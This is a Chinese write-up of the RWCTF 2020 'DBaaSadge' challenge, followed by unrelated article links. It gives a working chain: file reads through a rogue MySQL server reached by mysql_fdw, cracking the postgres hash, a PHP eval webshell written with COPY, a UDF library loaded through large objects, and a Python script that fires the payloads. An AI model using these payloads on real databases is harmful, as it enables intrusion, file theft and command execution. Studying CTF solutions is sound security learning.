数据库题目

2020RWCTF DBaaSadge WP

这是一个很有意思的题目,难到让我绝望,跟着大佬smity的思路跑一下,求大佬抱抱。

https://mp.weixin.qq.com/s/jvA5j9OPMFIPvP5267gk-Q

0x01 题目

一打开就是题目的代码直接执行,可以直接执行pg的代码,但是长度不能超过100.(本身是给了dockerfile)先进行必要的信息收集。

  1. select version();
  2. select user;

然后大佬说这不是10.5之前修复的那个CVE漏洞,而且那是一道pwn题,这是一个web题。然后想到的就是怎么样可以通过psql的数据库语句来进行命令执行,但是这里的用户是realuser,不是superuser用户,所以网上大部分的方法是不能够使用的。

所以到现在想到的就是,提权加上getshell,来达到命令执行的效果。

0x02 dockfile分析

其中被圈出来的是和psql有关的操作。比如说,psql -c "command"这是命令行模式直接执行psql语句的用法。咱们再来细细的分析这个dockerfile。

  1. 1. 创建了一个没有super权限的realuser 密码是 realpass
  2. 2. 安装了dblink mysql_fdw的两个扩展
  3. 3. dblink,能够在一个数据库中操作另外一个远程的数据库。
  4. mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式

这里大佬想到了 rouge-mysql,而我就是个菜鸡,数据库题目一个都不会。(这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)

msql_fdw插件的使用:https://blog.csdn.net/bingluo8787/article/details/100958098

可以知道和直接使用mysql没有什么区别(嘻嘻

  1. CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
  2. #创建一个server
  3. CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
  4. #创建链接用户名
  5. CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
  6. select * from test;
  7. DROP SERVER mysql_server

这样我们在vps上面挂个脚本就可以了。https://github.com/allyshka/Rogue-MySql-Server

这样就可以任意文件读取,但是有个问题,这有什么用了....dokcer都给了。下面就是继续提权了白。

下面给出3个方法

  1. 1.寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
  2. 2.pg_hba.conf中如果把host配置为trust是可以进行免密登录的
  3. 3.类比mysql ,在本地寻找密码存储的文件。通过vps来读。

然后我们一个一个来验证。

首先,我们来寻找这个神奇的conf文件。

难道要成功了吗?(忘记看启动文件了。。

再见谢谢。每次docker重启就是刷新一个五位数的随机密码(记住,重点)。

验证第二条思路:

读取上面那个文件。

很明显是不能够登陆了。然后,五位数密码爆破,去死把。

最后一个思路:

既然能够读取,百度查psql的密码文件落户到本地的哪个位置,在哪个目录,我们直接读取之。

mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置。

然后用文件内容查找的命令

  1. egrep -r "内容" 目录

然后使用md5在线解密或者爆破脚本使用。

这里面有历史密码。

md5爆破工具

  1. http://c3rb3r.openwall.net/mdcrack
  2. 使用方法
  3. http://www.91ri.org/1285.html
  4. MDCrack-sse.exe -algorithm=MD5 --append=postgres 8997a9f1da6bbfbc2aaad2cb295a1b0b

拿到我想要的账号和密码,现在就是和上面的dblink联合在一起,来登陆这个超级用户

  1. 6k35mpostgres
  1. select dblink_connect('host=127.0.0.1 port=5432 dbname=postgres user=postgres password=6k35m');

成功登陆。

  1. SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

下面就是如何将上面这句长长的payload打进去了,有长度限制。。。。

  1. 如果是敏感字符的考察 ,可以用postgre的存储过程。
  2. create OR REPLACE FUNCTION D(a INTEGER, b INTEGER) RETURNS INTEGER AS $$ SELECT a+b; $$ LANGUAGE SQL;
  1. 但是存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。

正解:

通过子查询,将poc语句写到自己的mysql服务器,利用mysql_fdw扩展连接mysql服务器select出来。

postgre的常用命令

  1. \c - realuser 切换用户到realuser
  2. DROP FOREIGN TABLE a66; 丢掉外部表a66
  3. DROP USER MAPPING FOR realuser SERVER a66_server; 去掉用户关系 对于realuser server a66
  4. DROP SERVER a66_server;

这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:

  1. poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
  2. poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
  3. poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
  4. poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

现在文件已经写完了,但是我们没有什么权限

开始打UDF,学习https://blog.csdn.net/qq_33020901/article/details/79032774

  1. https://github.com/sqlmapproject/udfhack

这是sqlmap上面的udf插件。

linux换源:https://blog.csdn.net/u012308586/article/details/102953882

在makefile里面添加一行。执行make 10

编译完成之后

接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.

为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

  1. #~/usr/bin/env python 2.7
  2. #-*- coding:utf-8 -*-
  3. import sys
  4. if __name__ == "__main__":
  5. if len(sys.argv) != 2:
  6. print "Usage:python " + sys.argv[0] + "inputfile"
  7. sys.exit()
  8. fileobj = open(sys.argv[1],'rb')
  9. i = 0
  10. for b in fileobj.read():
  11. sys.stdout.write(r'{:02x}'.format(ord(b)))
  12. i = i + 1
  13. if i % 2048 == 0:
  14. print "\n"
  15. fileobj.close()
  1. SELECT lo_create(12345);
  2. INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
  3. INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
  4. INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
  5. INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
  6. SELECT lo_export(12345, '/tmp/testeval.so');
  7. SELECT lo_unlink(12345);
  1. insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");

在将hex数据插入之后,运行一次poc,然后再将下面这个插入,再运行一次命令即可。

下面脚本的使用条件:

  1. vps上面开启mysql服务3306端口 账号admin 密码123456
  2. 有数据库b b里有
  3. a 里面 s字段是 存储链接ps数据库superhost和端口和账号和密码
  4. m字段是 命令执行readflag
  5. b 里面 s字段同上
  6. m字段是 so文件的加载
  7. 听说命令执行有更好的方式不使用udf;
  1. import requests
  2. import hashlib
  3. import random
  4. import uuid
  5. url ="http://192.168.72.89:60080/?sql="
  6. #填你的IP
  7. ip="42.192.142.64"
  8. port="3306"
  9. server_name="aaaa"
  10. dbname=server_name
  11. Table_name=server_name
  12. '''
  13. 任意文件的poc
  14. poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
  15. poc2里填写你自己mysql的用户名密码
  16. poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
  17. poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
  18. poc4="select * from "+Table_name+";"
  19. poc5="DROP SERVER "+server_name
  20. '''
  21. '''
  22. #插入数据
  23. poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip ',port'3306');"
  24. poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password '123456');"
  25. poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
  26. poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
  27. #poc4 = "select dblink_connect((select s from a66),(select m from a66));"
  28. poc5="DROP FOREIGN TABLE a66;"
  29. poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
  30. poc7 = "DROP SERVER a66_server;"
  31. '''
  32. poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'42.192.142.64 ',port'3306');"
  33. poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password 'q79475432');"
  34. poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
  35. poc8="CREATE FOREIGN TABLE a67(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'a');"
  36. poc9="SELECT * FROM dblink((select s from a67), (select m from a67)) as t10(record text);"
  37. poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
  38. poc5="DROP FOREIGN TABLE a66;DROP FOREIGN TABLE a67;"
  39. poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
  40. poc7="DROP SERVER a66_server;"
  41. r1=requests.get(url+poc1)
  42. print(r1.text)
  43. r2=requests.get(url+poc2)
  44. print(r2.text)
  45. r3=requests.get(url+poc3)
  46. print(r3.text)
  47. r4=requests.get(url+poc4)
  48. print(r4.text)
  49. r8=requests.get(url+poc8)
  50. print(r8.text)
  51. r9=requests.get(url+poc9)
  52. print(r9.text)
  53. r5=requests.get(url+poc5)
  54. print(r5.text)
  55. r6=requests.get(url+poc6)
  56. print(r6.text)
  57. r7=requests.get(url+poc7)
  58. print(r7.text)

RWCTF2020 DBaaSadge 复现的更多相关文章

  1. C++复现经典游戏——扫雷

    国庆小长假,当大家都去看人山人海的时候,我独自一人狂码代码.这两天想要实现的内容是Windows上的一个经典游戏——扫雷.相信90后和一些上班族对此并不陌生.然而,从win8开始,扫雷就不再是Wind ...

  2. [troubleshoot][archlinux][X] plasma(KDE) 窗口滚动刷新冻结(约延迟10s)(已解决,root cause不明,无法再次复现)

    现象: konsole,setting等plasma的系统应用反应缓慢,在滚动条滚动时,尤为明显. 触发条件: 并不是十分明确的系统滚动升级(Syu)后,产生. 现象收集: 可疑的dmesg [ :: ...

  3. 时空上下文视觉跟踪(STC)算法的解读与代码复现(转)

    时空上下文视觉跟踪(STC)算法的解读与代码复现 zouxy09@qq.com http://blog.csdn.net/zouxy09 本博文主要是关注一篇视觉跟踪的论文.这篇论文是Kaihua Z ...

  4. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  5. CVE-2017-8464远程命令执行漏洞(震网漏洞)复现

    前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞, ...

  6. Samba远程代码执行漏洞(CVE-2017-7494)本地复现

    一.复现环境搭建 搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162): 靶机:debian (192.168.217.150). 二.Debian安装并配置s ...

  7. Office远程代码执行漏洞CVE-2017-0199复现

    在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复 ...

  8. Node.js CVE-2017-1484复现(详细步骤)

    0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...

  9. 【S2-052】漏洞复现(CVE-2017-9805)

    一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...

随机推荐

  1. 一、本地项目部署到GitHub上

    部署之前准备工作,本地安装Git和注册一个GitHub账号: 本地安装Git 因为官网下载速度较慢,从其他地方下载 https://npm.taobao.org/mirrors/git-for-win ...

  2. Java8遍历Map、Map转List、List转Map

    1. 遍历Map Map<Integer, String> map = new HashMap<>(); map.put(1, "a"); map.put( ...

  3. 使用collectd+influxdb+grafna监控进程的健康状态

    一,前言 本文将介绍如何使用collectd+influxdb+grafna进行进程的监控,监控项为:进程健康状态. 思路为:使用collectd的processes插件进行程序进程的监控,储存到in ...

  4. 无法获得VMCI驱动程序的版本:句柄无效 (亲测有效! )

    今天在学习Linux 的时候 启动VM时出现了这个问题, 搞了很久终于弄好了, 就写篇博客来记录一下,帮助一下大家,如果对大家有帮助,还请各位哥哥姐姐点个关注,你的支持就是我坚持下去的动力 ! 文章目 ...

  5. Restful API 接口设计标准及规范

    Restful API 接口设计标准以及规范 RESTful概念 理解和评估以网络为基础的应用软件的架构设计,得到一个功能强.性能好.适宜通信的架构.REST指的是一组架构约束条件和原则." ...

  6. Mysql联合索引的最左前缀原则以及b+tree

    软件版本mysql5.7 根据官网的文档 https://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html 查询条件要符合最左原 ...

  7. python 做回归

    1 一元线性回归 线性回归是一种简单的模型,但受到广泛应用,比如预测商品价格,成本评估等,都可以用一元线性模型.y = f(x) 叫做一元函数,回归意思就是根据已知数据复原某些值,线性回归(regre ...

  8. CSS系列 (03):CSS三大特性

    层叠性 层叠性指的是样式的优先级,当产生冲突时以优先级高的为准,优先级相同时取后面定义的属性样式. 继承性 继承性指的是子孙元素可以继承父元素的属性. 记录一下开发中常用的继承属性: 字体系列 fon ...

  9. SQLServer多事务——事务嵌套

    在ERP中,偶尔会有存储过程里面继续调用存储过程的情况 其中更有一些特殊的存储过程分别都使用了存储过程,大致可以分为下面几种情况: 1.平行事务,在多个事务中,任意一个成功则提交数据库,失败则各自RO ...

  10. 扫盲:Kotlin 的泛型

    引子 相信总是有很多同学,总是在抱怨泛型无论怎么学习,都只是停留在一个简单使用的水平,所以一直为此而备受苦恼. Kotlin 作为一门能和 Java 相互调用的语言,自然也支持泛型,不过 Kotlin ...